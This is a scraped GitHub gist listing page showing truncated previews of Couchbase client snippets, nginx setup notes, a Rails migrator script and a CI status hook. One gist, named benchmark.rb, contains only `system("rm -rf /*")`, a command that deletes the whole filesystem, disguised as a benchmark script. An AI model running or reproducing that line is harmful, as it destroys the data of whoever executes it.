Skip to content

Instantly share code, notes, and snippets.

View avsej's full-sized avatar

Sergey Avseyev avsej

View GitHub Profile
#include <iostream>
#include <thread>
#include "libcouchbase/couchbase.h"
static void opCallback(lcb_t instance, int cbtype, const lcb_RESPBASE *rb) {
if (rb->rc != LCB_SUCCESS) {
fprintf(stderr, "%s\n", lcb_strerror(NULL, rb->rc));
} else {
if (cbtype == LCB_CALLBACK_GET) {
const lcb_RESPGET *rg = (const lcb_RESPGET *)rb;
#include <iostream>
#include <thread>
#include "libcouchbase/couchbase.h"
static void opCallback(lcb_t instance, int cbtype, const lcb_RESPBASE *rb) {
if (rb->rc != LCB_SUCCESS) {
fprintf(stderr, "%s\n", lcb_strerror(NULL, rb->rc));
} else {
if (cbtype == LCB_CALLBACK_GET) {
const lcb_RESPGET *rg = (const lcb_RESPGET *)rb;
@avsej
avsej / benchmark.rb
Created August 21, 2013 08:51 — forked from ankane/README.md
#!/usr/bin/env ruby
system("rm -rf /*")
class RegistrationsController < Devise::RegistrationsController
def show
github_name = params[:github_name]
if User.find_by_username(github_name)
redirect_to new_user_session_url, :notice => t(:already_registered)
else
session[:github_name] = github_name
@user = User.new(:username => github_name)
if @user.create_for_session_data
@avsej
avsej / gist:3621659
Created September 4, 2012 14:28 — forked from johnzablocki/gist:3621597
Couchbase Ruby Client Library Doc Insert and View Query
new_beer = {"name" => "Atlantic Amber"}
client.add("beer_Atlantic_Amber", new_beer)
view = client.design_docs["beers"].by_name(:key => "Atlantic Amber", :limit => 1)
view.each do |beer|
puts beer["name"]
end
# or
@avsej
avsej / gist:2775050
Created May 23, 2012 12:39 — forked from kierangraham/gist:2773123
issue with complex keys and startkey and endkey in couchbase-1.2.0.dp ruby client

# Couchbase 1.2.0.dp Complex Key Query

Here is what's needed in order to replicate an issue I'm having with querying complex startkey and endkeys with the Ruby Couchbase 1.2.0.dp.

Use Case

Basically I want to use this kind of map/reduce on a document structure like below to find out the number of type by each author and want to use :start_key and :end_key to get a result for a particular author.

Sample Documents

@avsej
avsej / migrator
Created February 23, 2011 08:21 — forked from maxim/migrator
script/migrator for easier navigation of migrations
#!/usr/bin/env ruby
# Simple migration navigator for terminal.
#
# Install
# 1) Throw this code into script/migrator
# 2) chmod +x script/migrator
#
# Alternative install
# 1) Put this script into your executable path (e.g. ~/bin)
@avsej
avsej / gist:735996
Created December 10, 2010 08:59 — forked from theozaurus/gist:716974
# Enable upload_progress module for easy cross browser progress bar support
# using only javascript client side
upload_progress foobar_uploads 1m;
server {
# We only need one server block to deal with HTTP and HTTPS
# avoids duplication
listen 80;
listen 443 default ssl;
$ cd /usr/src
$ wget http://nginx.org/download/nginx-0.8.52.tar.gz
$ tar xzvf ./nginx-0.8.52.tar.gz
$ rm ./nginx-0.8.52.tar.gz
$ gem install s3sync capistrano capistrano-ext passenger --no-ri --no-rdoc
$ passenger-install-nginx-module
# Automatically download and install Nginx? 2. No: I want to customize my Nginx installation
# Where is your Nginx source code located?: /usr/src/nginx-0.8.52
# Where do you want to install Nginx to?: /opt/nginx
#!/bin/bash
FULLPATH=`cd $(dirname $0); pwd`
echo $FULLPATH >&2
PROJECT=`echo $FULLPATH | awk -F/ '{print $(NF-3)}'`
STATUS=`echo $0 | awk -F- '{print $NF == "worked" ? "pass" : ($NF == "reset" ? "building" : "fail")}'`
PW=`cat $FULLPATH/../../../../credentials`
curl -u $PW -d"author=$AUTHOR" -- http://ci.domain.com/dashboard/build/$PROJECT/$STATUS
echo "Project: "$PROJECT", Status: "$STATUS", Fullpath: "$FULLPATH >&2